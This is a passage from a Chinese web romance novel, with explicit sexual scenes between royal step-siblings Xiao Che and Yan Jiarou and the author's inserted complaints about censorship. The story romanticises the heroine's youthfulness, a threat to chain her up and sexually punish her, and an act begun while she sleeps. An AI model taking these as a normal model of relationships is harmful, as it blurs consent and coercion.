萧彻握拳抵唇,轻轻咳嗽了声:“这是哑医给的所谓的最后的解药,我事先也并不知情……” 空气一时陷入了诡异的静默。 萧彻喉结滚动,伸手抚上了她的脸颊:“颜颜,你若是不愿,我……” “我没有不愿意……”颜嘉柔抬眼,一双水眸浮上雾气,眼尾……全删求放过 她在他耳边吐气如兰地道:“哥哥,。我。” 萧彻瞳孔骤缩。 —— 窗牖半开,霜白的月光自窗外映入,丝缎一般倾泻在两人…… 颜嘉柔嘴上说……这段删成这样了还标黄我真服了,但当萧彻……,她还是害怕得…… 萧彻的吻细密地落在她脸上,像是羽毛轻柔地拂过,哄着她转移着注意力,全删求放过。 颜嘉柔感觉自己快要死掉了…… 萧彻低头,温柔地舔吻她的话泪水,低笑了一声,哄她道:“宝宝,这才。,乖,宝宝可以的。” 小姑娘喜欢听夸奖,萧彻便从不吝啬对她的夸奖,包括在c上。 “又全删,宝宝好棒。” “好乖啊宝宝。” “宝宝还能全删,是不是?” 颜嘉柔被萧彻左一句“宝宝好棒,”右一句“宝宝好乖”给哄得晕头转向,下意识地答:“是……” …… 他终于彻底占有了她。 逼疯了怒删五百字。 亲密到…… 这种认知给他带来了极大的…… 颜嘉柔哭唧唧地喊着仗,仰着一张小脸,可怜兮兮地向他索吻,以此寻求安慰。 萧彻温柔地吻着她,深吸了一口气,忍耐着让她慢慢……都删完了啊为什么还锁我,“占有”也不能说了吗我真服了 他握着她的手,引导着她往下看,试图分散她的注意力。 也想让她好好看看,全删…… 岂料小姑娘只看了一看,便顷刻间吓得哭出来:“月土子……月土子变固了……” “哥哥,我是不是槐运了,怀了你的孩子……” 萧彻全删……傻子……肚子哪会这么快鼓起来?最快,那也是五个月后的事情了。” “现在变鼓,是……全删了为何还锁我?” 手指抚摸着薄薄肚皮下涂漆的邢庄,颜嘉柔这才反应过来,面色微红,小声嗫嚅道:“原来……原来是这样……我只是……只是太害怕了……”所以才会闹那样的笑话,倘若是清醒的时候,她当然知道不可能有那么快了!便是立刻怀//。孕,也要五个月才能显怀,哪有这般即可的效果。 萧彻见她窘迫,便愈发忍不住逗她:“想不想怀我的孩子,嗯?” 颜嘉柔怔了一下,有些无措地看着他,不敢说不想,唯恐让他伤心,只能支支吾吾地道:“哥哥,我……我害怕……” 萧彻吻了一下她的额头,轻笑道:“怕什么,逗你呢,不会让你这么快怀上的,说多少遍了,小兔还是这么好骗。” 他随意拨弄着她白嫩的耳垂,问她:“你二哥给你的东西,这几日一直佩戴在身上吧?” 颜嘉柔点了点头:“有,我有乖乖听哥哥的话,一直佩戴在身上。” “那就 是了,佩戴了那些个避子香囊,小兔揣不上崽。” “你二哥整日滚在女人堆里,这么多年了,也没弄出个孩子,可见这东西的厉害,所以,没什么好担心的,知道了么?” 颜嘉柔懵懂地点了点头,突然想起一事,又有些担心地问:“那……那会不会太厉害了,以后都生不了孩子了?” 萧彻挑眉:“怎么,就怎么想生一窝小小兔啊?” “我……不是现在,以后……等以后,我想生一个和哥哥的孩子,最好,最好长得像哥哥,一定很好看……” 萧彻一怔,再回过神来时,一颗心已经软得一塌糊涂。 “会的,等颜颜再长大一些,我们会有一个属于我们自己的孩子的。” “我找人看过了,那香囊药性温和,于身子无碍,不会伤及根本的。” 他亲吻着她的额头:“宝宝,别担心。” 颜嘉柔点了点头,抬头一瞬不瞬地看着他,从前每逢狎//。弄,总是她一丝不g,而萧彻则穿戴齐整。 可今晚,他终于也在她面前除尽了衣物。 萧彻的身体也很完美,冷白的皮肤,薄而紧实的肌里,肌肉线条十分流畅,好看到让人移不开眼。 她下意识地做了一个吞咽的动作。 萧彻宽肩窄腰,腰身劲瘦有力,她慢慢往下看,有些害羞地戳了戳他的腹肌,往下是诱人的人鱼线,再往下,则没入两人胶合的地方…… 他的人鱼线附近青筋蜿蜒往下,实在引人遐想,让人不由疑心那底下没入之处,是否也是青筋遍布。 颜嘉柔自然是知道答案的。 全删…… 这般想着,身子不由地……了一下。 萧彻便“嘶”了一声全删 他贴近她,热息倾吐在她颈侧:“宝宝,全删……” 颜嘉柔双手抵着萧彻的胸膛,惊慌失措道:“没……没有!再等等……哥哥,再等等……” 萧彻勾唇,好脾气地道:“好,颜颜说再等等,那便再等等,” 他掐过她一截白腻纤细的手腕,细细摩挲,低头亲吻了一下,语调散漫中又透着几分昭彰的暧//。日未,:“反正,我们有一整晚的时间,我有足够的耐心,也耗得起。” 颜嘉柔脸颊微微发烫,偏过脸去,视线下移,无意瞥见了他手臂上的朱砂。 那是魏国的传统,无论男女,手臂上皆点有一粒守贞砂,直到第一次胶合之后,守贞砂才会褪去,若它还在,则说明它的主人并未经历过真正意义上的情事,仍是清白之身。 注意到她停顿的目光,萧彻也顺着她的视线低头看去,等看清她的目光落在何处时,略一挑眉,弯唇笑道:“为你留的,喜不喜欢?” 颜嘉柔一怔,有些懵懂地看着他,下意识地点了点头:“喜……喜欢……” 她说着想起了什么,连忙抬起手臂向萧彻展示她的朱砂。 她迫切地想要证明她给萧彻的,同样也是完璧之身。 但那句“为你留的”,却无论如何也不能像萧彻一样问心无愧地说出来。 只因当初她一心想嫁的人,是萧珏,她的清白之身,自然也是留给他的。 这让她觉得有些懊丧,仿佛她对他的喜欢,全不似他那般拿得出手。 她其实知道的,知道萧彻对她的喜欢,远比她对他的要多得多。 她垂下眼睫,轻轻地道:“对不起……” 小姑娘毕竟年纪小,喜形于色,有什么都表现在脸上,在萧彻面前,跟一张白纸没什么区别。 他怎么会看不出她此时所想。 “没关系的宝宝,”他安抚地亲了亲她的唇角,柔声道:“从前如何,我并不在乎,我只要你以后,只喜欢我就够了。” “虽然守贞砂不是为我留的,却会在今晚彻底因我而消失,宝宝,我很高兴。” 小姑娘闻言眸光闪动了一下,眼中有雀跃之色,但到底不信,浓睫轻颤,小声地道:“真……真的么?你真的,不怪我么。” “当然是真的,我又不是你,三番五次地哄骗我。”萧彻屈指叩了一下她的脑门,轻笑道:“小兔没良心,也不想想,我什么时候骗过你?” “唔,好像……确实没有……” “那就是了,”萧彻挑眉:“不过如果小兔心中过意不去,想好好补偿我,那也不是没有办法。” 颜嘉柔眨了眨眼,一脸天真地问:“什么办法呀?” “什么办法?”他手指轻轻划过她丰盈白腻的脸颊,唇边浮上一丝玩味的笑意,声音低了下来:“当然是……” 颜嘉柔的脸渐渐变成了一颗红苹果,小声嗫嚅道:“萧彻,你怎么……” 她都不知道萧彻人前禁欲冷淡、生人勿进,人后怎么会有这么多让人脸红心跳的荤话! 萧彻却不以为意,轻轻蹭着她的脸颊道:“那有什么,也只说给你听而已。” 他舌忝侬着她的耳垂,嗓音暗含着忍而寸:“宝宝,你适应得已经够久了。” 小姑娘呜咽了一声,眼尾泛着薄红,可怜兮兮地道:“可以再等一会吗哥哥……” 萧彻勾唇:“可以啊。” 没想到他那么大方,颜嘉柔松了一口气,刚想软声撒娇再磨着他拖延一会儿,便觉察到手腕被他温柔地握住,萧彻引领着她慢慢往下,直到她扌莫到梁仁的胶合之处,哑声道:“我是可以等你,你问问它还等不等得了……” “可是,唔!” 颜嘉柔刚想说什么,下一刻,便猝不及防地被萧彻堵上了嘴。 他温柔地忝吻着她的唇瓣,含口允着她柔软的舌尖,含混地道:“宝宝,没有可是。” “相信我,你会喜欢的。” …… 第85章 第85章“是见证你爱我,我也爱…… 床幔四散低垂,轻轻摇曳,掩下了一派旖//.ni椿色。 床//。榻几欲散架,口各口支作响。 这一番动静直到天亮才方止歇。 空气中弥漫着又欠//。爱过后的暧日未气息。 颜嘉柔已经不记得死过几次了,整个人像是刚从水里打捞上来,浑身上下汗涔涔的,身上一塌糊涂,分不清是谁的体夜更多些。 她红唇微张,眼神依旧有些h散,似乎还未从方才疯狂的晴事中抽离出来。 直到萧彻再次贴了上来,她才如梦初醒,连忙伸手抵在他的胸膛。 美眸盛着水汽全删求放过已经 萧彻勾唇:“宝宝,我只是想亲亲你,”他微微蹙起眉尖,倒像是有几分委屈:“连亲都不让了么?” “你……你第全删的时候也是这么说……”小姑娘鼓起脸颊,委屈地控诉道:“后来你亲着亲着,就……”全删…… 直接把她……全删……,毫无缓冲,感觉都要死掉了。 说什么只是想亲她,分明就是迷惑她,然后趁她意乱情迷,再……那样对她! 杯弓蛇影,她现在对他,简直没有一点信任可言了:“我……我不会上你的当了,你只会欺负我!” 萧彻轻笑了声:“欺负你?” “宝宝,我明明是在爱你。” “你敢说,你不喜欢么吗?” 颜嘉柔脸颊发烫,有些不自然地扭过脸去:“我……我才没那你那么无耻……” “无耻?”萧彻低笑了声,手掌全删……“你当时……可不是……全删就不认账了?” “宝宝,你还是全删求放过……比较诚实。” “。了好多氵,被褥都全删求放过。宝宝看来真的很喜欢我……” 颜嘉柔之前被曹侬地死去活来,都已经甚至不清了,过程中或是被他诱导,或是难以自持,说了什么不知羞的话也是有的,原本说过就忘,这会儿在清醒状态下被他提及,当下羞耻到了极点,只觉无地自容,哪里愿意认下,哭着摇头道:“我……我才没有那样……你……你不许胡说……” 萧彻弯唇,低头吻去她的泪水,柔声哄着她道:“好,颜颜没有那样,是我喜欢你,喜欢得要命……” 颜嘉柔闻言渐渐不哭了,泪眼朦胧地看着他, 抽噎着道:“这……这还差不多……” 小兔的眼泪,就像夏日里的阵雨,来得快,去得也快。 她很快就被哄好了。 两人便又腻歪了一阵。 萧彻这回是真的没再碰她,天快亮了,小兔被折腾了一晚上,也该好好休息了。 只不过她累过了头,眼下反而没有那么困倦,依偎在萧彻怀里又亲又抱,似乎比之前更加黏人了。 萧彻抚摸着她光氵骨的脊背,问她:“身子都大好了么?那怪症……该是暂时压下了吧?” “嗯嗯,完全不难受了,谢谢哥哥!”跟萧彻运雨的滋味,比取精和取血所带来的飘然之感,更要快慰百倍。 若这世上果真有极乐,便正是此事。 只是极乐过后,身上却是无一处不酸软,她一开始连动手指的力气也没有了。 萧彻又是那般毫不节制,再快乐的事情,也挡不住他那般索求无度。她便是再想沉迷,也无福消受,两厢抵过,虽喜欢,却也不至于像之前取药那般热衷了。 毕竟身子都快散架了,她还不想死呢。方才有那么几次,她真怕萧彻会把她干死在床上。 头顶上方这时传来萧彻的一声轻笑:“这会知道谢人了,刚才不是还说我欺负你么?” 颜嘉柔自认毫不理亏:“你本来就是欺负我!便是……便是需要那个,也断没有那么多次的道理!” 萧彻“哦?”了声,笑道:“这不是,怕你不够么?” “你……你这是狡辩!” “这怎么能是狡辩呢?小兔那么贪吃,我有此顾虑,也是再正常不过。” 说着目光下移,落在了她的小月复上,唇角勾起了一抹玩味的弧度:“你看,肚子都吃得鼓起来了……” 手掌慢慢覆了上去:“看着,倒真像是怀了我的种……” 颜嘉柔脸色一下子红了,抬手护住了自己的肚子,以作遮掩:“别……别乱讲……我没有怀……没有怀哥哥的种……” “哦?是么,那皇妹的肚子,怎么鼓起来了?倘若没有怀我的种,那里面装的,又是什么?” “我……” “不说么,皇妹既然说不出个所以然,那便确然是怀了我的种了。” “呜呜,不是……”颜嘉柔被逼得无法,只能哭着道:“里面装的,是哥哥的口口……” 听到了满意的答案,萧彻这才勾起唇角:“答对了,真是个乖宝宝。” 他将又被他弄哭的颜嘉柔搂进怀里,一面抚着她的脊背哄着她,另一只手却慢慢往下,趁她不备,轻轻按压她的月土子。 便立刻……全删…… 颜嘉柔美眸瞪得滚圆,不敢置信地看着他:“……你……你做什么!” “太多了,月土子这般鼓涨,不难受么。 “不要……这是我辛辛苦苦得来的药,不要浪费……” 萧彻眸色变深,沙哑道:“宝宝,这是多出来的东西,不算浪费。” 他指腹摩挲着她粉红的脸颊,似笑非笑:“还是说,你就是喜欢含着我的东西?” “听话,多出来的东西,留着干什么,身子会不舒服的……”他凑过去亲了亲她,低笑道:“再说了,若是不够了,随时都可以问我再要,我又不会不给你……” 颜嘉柔被他哄得迷迷瞪瞪,完全忘了再要便是要再挨糙,慢慢拿开了手:“那……那好吧……” “对了,宝宝好乖。” …… 颜嘉柔困倦地快要昏睡过去时,还是被萧彻捞起来去沐浴了一番。 沐浴完后,倒是清醒了一些,身上全被萧彻擦拭干净了,十分清爽,被褥也全都换过了,躺在上面舒服极了。 小姑娘一有精神,便又跟一只树熊一般挂在萧彻身上,又亲又抱,经过今晚之后,她显然更加依赖粘人了。 萧彻松松垮垮地搂着她,手臂横在她的身前,她低头一看,注意到他之前手臂上的朱砂已经完全消失了,这个发现让她有一种隐秘的雀跃:“萧彻,你的守贞砂不见了!” 萧彻不以为意地瞥了一眼,懒洋洋地道:“扌喿了你这么多次,还有才奇怪吧。” 她还是不习惯他说话这么直白,脸色微红,有些嗔怪地道:“哥哥……” 萧彻握住她的手臂,拇指揉了揉她之前缀有朱砂的地方,勾唇道:“宝宝的也没有了。” 他眉梢微动,贴近了她,故意一字一顿地道:“是被我草没的。” 颜嘉柔脸上立刻充血,连忙伸手捂住了他的嘴,羞恼道:“不许再说了!” 萧彻弯唇,倒是一贯的大度:“宝宝不让说,那我就不说了。” 颜嘉柔松了一口气,刚要放下手时,忽感掌心一片…… 萧彻又舔她手心! 她的掌心和腰际一样……尤其是刚全删一百…… 萧彻挑了一下眉,似乎也有些意外,笑得玩味:“宝宝,你怎么……又……” 颜嘉柔这下抬手捂住他的嘴也不是,不捂住他的嘴也不是,手悬停在半空中不知所措,只能将脸深深地埋进他的怀里:“呜,讨厌。” 萧彻轻笑了一下,拢过她的手掌,一根根把玩着她的手指,目光下移 ,忽然注意到她的手腕上多出了一个印记。 是一个流焰形的红色印记。 萧彻:“这是什么?”受不了啦删到我字数都没有三千字了没有小红花啦,审核我知道你在家,你有本事锁我,怎么没胆子开门,审核你开门啊,开门还我三千字,你别以为我不知道你在家,开门啊…… 颜嘉柔也顺着他的目光望去,惊讶出声:“这不是,骊山上那只白狐头上的流焰印记么?怎么会出现在我的手腕上?” 萧彻挑眉:“骊山白狐?那便是与怪症相关了。”神经上面有一段全删了,就剩下个舔手心,还锁我我真芙拉,手心不是脖子以上吗,连手心都不让舔拉? 他戏谑道:“这么说来,该是你我今晚彻夜又欠好,你成了我的人,便有此印记,以做见证,是不是?” 他原本也不过随口一说,用来逗小兔玩,谁知小姑娘闻言却是亮晶晶地看着他,欢喜道:“如果是这样的话,我会很喜欢这个印记的!” 萧彻一怔,滚动了喉结:“……为什么?” 颜嘉柔搂住他的脖颈,凑上去亲了他一口:“哥哥不是说了么,因为,这是我们的见证啊。” “小傻子,知道你在说什么么,见证你被我草弄?” “不是,哥哥。”颜嘉柔捧过他的脸,与他额头相抵,居然极为认真地道:“是见证你爱我,我也爱你。” 萧彻再料不到颜嘉柔会突然告白…… 实在猝不及防。 他愣了一下,有那么一瞬间,感觉心都要化了。 经历了今晚的事,他觉得,他没有什么不能给她了。 第86章 第86章“萧彻,我会和你成亲。…… 小姑娘一张白腻粉红的脸孔忽然怼到他眼前,一双杏眼瞳仁黑亮,氤氲着一层薄薄的水汽,眼睫浓密卷翘,神情仍是天真懵懂。 颊肉丰盈,看得出年纪很小。 偏眼尾残红未褪,浸染过情事之后,平添了一股说不出的媚态。 像是一颗熟透多汁的水蜜桃。 多汁…… 她的确是,饱满又多汁。 她眼见萧彻不答,便瓮声瓮气地撒娇道:“我说的,对不对嘛,对不对嘛?” 萧彻轻掐住她的下巴,向上微微抬起,怠懒地瞥了她一眼,笑得散漫:“宝宝,” “我有没有告诉过你,在我面前,有时候,不能这么可爱。” 小姑娘一脸迷瞪:“什么……意思呀?” “意思就是,”他含混地笑了声,毫不留情地吻了上去:“我会忍不住,欺负你。” —— 莫名其妙挨了一顿亲的颜嘉柔并没有生气,依旧黏黏糊糊地挂在他身上,时不时地啄他一下。 萧彻扯着唇角揉了揉她的脑袋,笑意懒散。 “差不多得了,宝宝。” “……你还睡不睡了。” “可是我睡着 就见不到你了,” 颜嘉柔无辜地眨了眨眼:“我会舍不得。” 萧彻猝不及防又被她灌了情话,喉结上下滚动,忍不住弯唇道:“小兔也学会调情了。” “不是调情,是我的真情实感!” “嘶,段位还挺高。” 颜嘉柔脸颊鼓起:“我是说真的!” 萧彻唇角翘起,懒洋洋地道:“就这么喜欢我啊。” 颜嘉柔脸颊蹭了蹭他:“很喜欢,已经离不开哥哥了……” “是么,”萧彻不知在想什么,只淡淡应了一声,把玩着她纤细白嫩的手指:“怎么证明呢?” 颜嘉柔怔了一下:“我……” 这片刻的怔愣让萧彻感到一股莫名的烦躁。 他掐过她丰盈的脸颊,深深地看了她一眼,喉结滚动,只问:“喜欢我还是喜欢萧珏,更喜欢谁?” 颜嘉柔红唇微张,有片刻的怔愣。 萧彻他果然,还是很介意太子哥哥啊。 这么久了,翻来覆去,还是要问这个问题。 她从前最怕他这么问,只因连她自己都无法分辨。 她觉得两人都是她的哥哥,她都一般喜欢,实在分不出更喜欢谁,为什么萧彻总是要逼她做选择呢。 但她现在知道了。 即便都喜欢,她对萧彻和萧珏的喜欢,也是不一样的。 她从来不会单只是因为一个人的靠近就变得脸红心跳。 除非那个人是萧彻。 昨夜那场疯狂淫//。靡的性//。事,更是让她认清了这一点。 她只想和萧彻做这种事。 除了他,换做任何人都不可以。 萧珏也不例外。 从小到大,她一直坚信自己喜欢萧珏,而讨厌萧彻。 却从来没有意识到她对萧彻所谓的“讨厌”远远多于对萧珏的“喜欢”。 喜欢也好,讨厌也罢,说穿了都是一种情绪。 爱恨相依,讨厌一个人到极点,又怎么能不算是一种情分呢。 从始至终,最能牵动她情绪的,也只有萧彻罢了。 她圈住萧彻的脖颈,眨了眨眼,笑意透着几分狡黠:“你和萧珏之间,我没有更喜欢你,” 萧彻一刹那血液凝固,整个人如坠冰窖。 却见颜嘉柔下一瞬便笑着凑过去亲了他一口,在他耳边道:“我是只喜欢你,哥哥。” 这一下犹如冰火两重天,让萧彻切实感受了一把什么叫做从地狱到云端。 他被气笑了,伸手拧了一把她肉乎乎的脸颊:“好啊,小兔变坏了。” “才不是变坏呢,这只是调情的小手段罢了。”颜嘉柔被拧着脸,说话有些口齿不清,但依然听得出颇为得意:“都是跟哥哥学的噢。” 萧彻挑眉,拍了拍她的脸:“行啊,小兔出师了。” 颜嘉柔禁不住夸,每次被萧彻夸都开心得不得了,当下便又黏黏糊糊地缠了上去:“谢谢哥哥。” “光嘴上谢啊。”萧彻斜睨了她一眼:“行动上没什么表示?” 颜嘉柔愣了一下,面上有些窘迫,低头支支吾吾了半天,才为难地道,:“可是我……我已经让你上了一晚上了,那里……都已经肿了……” 萧彻在颜嘉柔这样,一向厚颜无耻,这回却难得面色有些不自在:“咳咳,我不是说这个。” 颜嘉柔抬起了头,似是有些讶异:“那是……什么?” 萧彻被气笑了,捏过她的下巴,缓缓眯起眼眸:“怎么,在你眼里,你三哥就是这么一个急色的人?” “难……难道不是么,自从我需要向你取血之后,你……你总想拉着我做那事……” “傻子,喜欢你才会这样啊。” 他摩挲着她红润的唇瓣,拇指轻轻往下按:“我说的行动表示,是想皇妹为我们的长远做一些考虑。” “如今我们远离都城,只有你我二人,自然可以为所欲为,整日腻歪在一块,却不用顾虑其他。” “可回宫之后呢,难道也要像从前一般偷偷摸摸,见不得人么?” “我不喜欢那样,那算什么呢?”他看着颜嘉柔,声线缱绻:“我的意思是,我想从此以后,和你光明正大的在一起,我要让所有人都知道,我们两情相悦,天生一对。” “颜颜,如今你我已经,你总不至于睡了我,也不肯对我负责吧?” “我只想要一个名分,否则我算什么呢?” “哥哥?这天底下,没有哪一个哥哥,会对妹妹做这种事。” “我做不了你哥哥,我只能做你夫君。” 他抬起手臂,指着一处道:“你看,这里原本有一枚守贞砂,如今为了帮你治病,已然没了。这是我特意留给我新婚妻子的,如今却没了。” “你说,该怎么办吧。” 他捏着她的后颈,若有所指地道:“似乎除了把某人赔给我之外,没有更好的办法了,你说呢?” “我……”颜嘉柔懵懂地看着他,眨了眨眼,终于在他的循循善诱下,说出了他想要的答案:“那把我赔给你,不就好了么。” 她搂上他的脖颈,一瞬不瞬地看着他,定定地道:“萧彻,我会对你负责的。” 萧彻的一颗心忽然跳得极快,他只觉喉头干涩,一开口,连声音都有些发颤:“怎么对我负责,颜颜,说清楚。” 颜嘉柔唇瓣微张,想了想,竭尽所能地搜刮一些萧彻爱听的话:“我……等回都城后,我会向父皇禀明我们之间的事,我会让他为我们赐婚……” “萧彻,我会和你成婚,我会做你的妻子,我会永远陪在你身边,只喜欢你一个。” 萧彻一时竟生了恍惚,体内血流加快,耳膜响起一阵奇异的鼓噪,神魂仿佛抽离在外,不知过了多久,他听到他的声音在一旁响起,带了一丝忐忑的求证:“真的?颜颜,你不骗我?” 经年的痴心妄想,一朝得偿,他狂喜之余,总觉并不真实。 或许是他从小的经历让他很难有安全感。 他所珍视的,从来都不属于他。 他一直都在失去。 这世上,鲜少有真心待他的人。 以至于当上天终于眷顾他一次,颜嘉柔答应了他,他竟有种“近乡情怯”之感。 明明是他诱导着她说出成亲二字,如今她真的如他所愿,说了出来,他却又不确信了。 他握过她的手,放在唇边虔诚地轻吻了,嗓音有几分凝涩:“颜颜,你要想好了,回宫之后,你真的愿意同我成婚么?” 他不知想起了什么,唇边浮上几分涩然的笑,目光落在虚空中的一点,显出几分渺然的空茫,只呓语般地道: “你知道心愿得偿,却又再次落空的滋味么?” “这世上再没什么,比得而复失,来得更为残忍的了。” “倘若你做不到,便不要轻易许诺。” 他道:“我经不起你再一次的哄骗了。” 颜嘉柔不知道为什么,听他这样说,心里泛起一阵密密的疼,对他也更是多了几分心疼,小手捧着他的脸,深深地看着他道:“萧彻,我这次,决不会再骗你了,我是认真的,我选你,没有别的选项了,我只会选你。” “你在担心什么呢,你看我现在这个样子,我根本离不开你……萧彻,你都不知道,我有多喜欢你……” “这段日子以来,我觉得在你身边的每一天,都会比前一天更喜欢你,我又怎么会不选你呢?” “何况你我已经……我也不可能再和太子哥哥有什么了,我只能嫁给你了……” 萧彻一把扼住了她的手腕,敏锐地捕捉到了她话里可能暗含的弦外之音,眸底戾气隐伏:“你的意思是,因为失身于我,必为萧珏所不容,所以才不得不嫁给我?” “当然不是了!你怎么就听不明白我的意思呢?” 小姑娘着急地解释道:“萧闻祈,我不是那个意思……” “我的意思是,我更喜欢你了,所以才会想要嫁给你,你能不能别……别总是提太子哥……提萧珏了呀。” 萧彻别过脸,语气算不上好:“我不提,你心里就不想了么。” “当然了!我现在心里想的,只有你一个。” “我小时候嬷嬷告诉我,人在说谎的时候因为心虚,心跳声会变快,一摸就摸出来了,我那时试了之后确实如此,” 她说着拉过他宽大的手掌覆于她的心口,神色难得认真地道:“你不信的话,你摸摸,看我有没有说谎。” 萧彻挑了挑眉,欲言又止。 片刻后,颜嘉柔眨了眨眼,一脸期待地看着他:“你摸到了么。” “摸到了,”萧彻顺势揉了一下,没什么表情地道:“左女乃很大。” 颜嘉柔:“……?!哥哥……你怎么这样……”” 我怎么样?“萧彻笑了一声,抽回了手:“小傻子,你如今长大了,奶肉满溢到,根本就摸到你的心跳,这招已经不管用了。” 颜嘉柔娇哼一声,圈住他的脖颈来回晃荡道:“那我不管,反正我就是没有说谎,我是认真的……你信我哥哥……” 她转了转眼珠子,忽然灵机一动,又想到了别的法子:“对了,我也可以发誓,如果我骗你的话,就让我有朝一日,也尝尝得而复失的滋味。” “对什么得而复失,”萧彻挑眉:“别告诉我,是你多到数不清的吃食之一。” “当然不是了!”颜嘉柔脸颊鼓起:“不是我多到数不清的吃食之一,那样可有可无的东西,是你,是这世上独一无二的萧闻祈。” “我?”萧彻低笑了声:“傻子,你这个誓言,我一时竟分不清是对你的惩罚,还是对我的诅咒。你若得而复失,我又能好到哪里去?” 他轻叹一口气,揉了揉她的脑袋:“我们颜颜,什么时候能变得聪明一点儿,嗯?” 颜嘉柔聋拉着脑袋,显得有些挫败:“我……我太笨了,我不知道该怎么才能让你相信我,但我是真心的,今夜就算你不说,我也会主动说起求父皇为我们赐婚之事……萧彻,我会和你成亲的,不为别的,只是因为我认清了自己的心意,我喜欢你,越来越喜欢你……” “喜欢我?”萧彻搭下眼帘,若有所思地道:“原来今夜我不说,你也会主动提及成婚一事。不是因为守贞砂消失,也想要和我成婚……可说是喜欢我,为何今夜之后才想要和我成婚?那喜欢我什么呢,我的身体么?” 颜嘉柔眼神透着几分懵懂:“萧彻,我不明白……”喜欢他的身体不就是喜欢他么。 萧彻久久地凝视着她,像是一场无声的对峙。 末了落败似得扯了唇角一笑,拇指抚过她柔软的脸颊,她还是一脸懵懂的模样,天真而残忍:“算了,你愿意留在我身边就好。” 至于到底是为了什么留在他身边,因为要取药所以离不开他,抑或是喜欢他的身体,都不重要了。 总之今时不同往日,他既然已经得到了她,就绝不可能再松手了。 只要她肯答应和他成婚,地久天长,他有的是时间,让她慢慢爱上他。 至于她是否别有所图,并不重要。 哪怕有,他也该感到庆幸,庆幸她离不开他,也庆幸她喜欢他的身体。 都已经喜欢他的身体了,那离喜欢他这个人,还远么。 他不该再这么患得患失了。 他摩挲着她的下颌,故作轻松地道:“原来跟你睡一次,你就想嫁给我了啊。早知这么简单,之前在我书房,我就该上了你。” 话虽如此,但其实他永远都不会强迫她。所谓的“早该”,也不过是个悖论。 颜嘉柔闻言脸色微红,有些嗔怪地道:“哥哥……” …… 虽然是临时起意,但今夜之后,白首之约,便算是定下了。 第87章 第87章“宝宝,你可千万别负了…… 颜嘉柔终于有了睡意,临睡前萧彻将一个锦囊放在她的枕边,怜爱地亲吻了她的额头,轻声道:“宝宝,还记得我之前和你提过,兰陵族人身上,都有一个命门么?” “我身上虽然只有一半的兰陵族血统,但长相肖似母妃,瞳色亦是,自然也有别的地方继承了兰陵的血脉,包括命门。而知道一个兰陵人的命门,便可以轻易地杀死他。” “我们今夜既然已经……我便没有什么是不能给你的了。我将我的命门写下放入锦囊之中,倘若我日后负了你,你随时可以打开锦囊,利用我的命门杀了我。” 颜嘉柔原本已经要睡去,只是萧彻一直在亲她,弄得她有些痒,便又被迫醒了过来,刚好听见他在她耳边絮絮地说着有关兰陵族的秘密,不由得笑了起来:“哥哥,我又没说担心你日后负我,你何必告诉我这个……” “你虽没说,我却是要给你的。宝宝,我只想让你知道,你选了我,我绝不会负你。亦绝不会让你失望。” 颜嘉柔指尖描摹着他如画的眉眼,一时有些恍神:“哥哥,”她甜甜笑了起来,脸颊梨涡若隐若现:“我相信你。” 她好像,从来没有怀疑过萧彻会负她。 从小到大,他的目光似乎总停留在她的身上。 从前她以为他是讨厌她,所以才格外留意她的一举一动,好伺机作弄她,但自从知道他对她的心思之后,过往的一切便都变得有迹可循。 他似乎,比她想象得还要喜欢她。 喜欢到仿佛生来就是为了来爱她的。 这样的萧彻,她自然不会疑心他会负她。 只不过既然说到这个问题,她想到了自己,便也随口嬉笑着问道:“那倘若是我负了你呢,哥哥,你会拿我怎么样?” 萧彻眼皮一跳。 他不说话,只慢慢眯起了眼眸。 空气霎时陷入了诡异的静默。 颜嘉柔只觉背后一凉,一时竟有种毛骨悚然之感。 直觉告诉她危险逼近,她转身想要往床的内侧躲,只是刚挪了半寸,腰上便被大手摁住,萧彻的力气是在大得惊人,被他掐住腰,她半分都挣脱不得,轻轻一揽,便又重新回到了他的身下。 萧彻宽大的手掌摩挲着她纤细柔软的腰肢,瓷白的肌肤丰腴滑腻,手感极佳:“皇妹,不是想知道倘若辜负真心的那个人是你,我当如何待你么?” “怎么如今尚未听到答案,便想逃?” 颜嘉柔再笨这时也看出萧彻生气了,他一生气,指不定要怎么罚她呢。 果真有些玩笑可以开得,有些却开不得。 她眼眶泛红,楚楚可怜地望着他,嗓音发着颤道:“我错了哥哥,不……不要了,我不要听了……” “宝宝,这套现在没有用。”他捏过她精致的下巴,微微抬起:“听着——” “倘若有朝一日,你负了我,”他的嗓音微沉,俯身靠近了她,附在她耳边幽幽地道:“我会将你幽禁起来,用锁链锁住你的手脚,然后不分昼夜地——干死你。” 颜嘉柔忍不住打了个寒颤,低低呜咽一声。 “怕了?”萧彻动作温柔地替她拭去眼尾的湿意,语气却自有一种森然的幽渺:“那就,千万别负了我。” —— 小姑娘被吓到后,目光发直地愣了一会儿,到底还是抵挡不住浓重的睡意,两眼一闭,睡了过去。 只是还没睡一会儿,她忽然感觉到身下传来的异样感受。 难受中却又夹杂着欢俞,她以为是在梦中,便忍不住迎合着哼哼暧暧起来。 直到身下忽然响起一声轻笑,嗓音微凉:“皇妹,你醒了?” 醒了?莫非不是梦境? 颜嘉柔一个激灵,猛地睁开了眼睛。 低头一看,伏在她双月退之间的,不是萧彻又是谁? 颜嘉柔揉了揉睡意朦胧的眼睛,咕哝道:“是真的哥哥啊……” 萧彻挑眉:“怎么,还有假的不成?” “唔,我以为我又做梦了……” “媋梦?”萧彻低笑了声:“皇妹,梦里都不放过我?怎么,刚才没喂饱?” 颜嘉柔耳垂一下子红了:“你,你别这么说……” 萧彻果真也不说了,只继续埋头做事。 颜嘉柔脸色涨红,死死咬着唇瓣道:“哥哥……你……你在做什么……” 萧彻动作一顿,抬头笑道:“感觉不到么?在为宝宝抹药啊。” “抹……抹药?” “不是说肿了?自然要抹药才能好得快啊。” 颜嘉柔脸上一下子烧了起来,那点绯色渐渐蔓延至身前,连那全删求放过:“不……不用了,我……我没有受伤……” “我当然知道你没有受伤。”白皙修长的一截手指探入瓷罐内,挖取了一点脂膏全删…… :“宝宝,我怎么可能让你受伤?只不过没有受伤是一回事,上药又是另一回事,既然……,自然是要上药的,更何况,你还是……” 颜嘉柔浓睫轻颤,眼圈红红的,眸底氤氲着水汽,强自忍耐道:“那……那好吧……” “宝宝好乖啊。” 药上到一半,萧彻却突然“啧”了一声。 颜嘉柔抬起红扑扑的一张小脸,颤声道;“怎……怎么了……” 萧彻轻笑了声…… “宝宝,你……,我没办法上药了……”审核大人我都删的只有句号了为什么还锁我,男主还不能给女主上药啦? 他欺身靠近了她,故意在她耳边戏谑道:“是不是故意的,故意……,让我没办法上药,嗯?” 